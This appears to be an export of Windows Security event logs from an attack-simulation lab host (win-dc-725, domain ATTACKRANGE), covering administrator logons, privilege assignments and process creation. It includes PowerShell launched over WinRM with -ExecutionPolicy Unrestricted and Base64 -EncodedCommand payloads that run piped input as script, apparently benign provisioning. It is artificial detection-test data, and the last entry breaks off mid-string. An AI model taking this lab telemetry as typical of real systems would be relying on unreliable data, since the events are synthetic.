--iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ZoomIt.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246988 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd98 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc94 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1EA9.tmp" "c:\ProgramData\chocolatey\bin\CSC4FCC0CCCEBE7422A95D86FC31887D41.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246987 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf2c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc94 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246986 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc94 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x480 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Winobj64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123431_0517\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123431_0517\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123431_0517\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123431_0517\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123431_0517\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247035 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xE1402 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247034 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xE1402 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247033 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247032 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247031 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFB45 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd70 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xae4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247030 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFB45 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xae4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc94 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247029 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFF78 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247028 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFF78 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247027 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247026 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247025 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFB45 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc94 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa44 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247024 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xDFB45 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa44 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2d8 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEE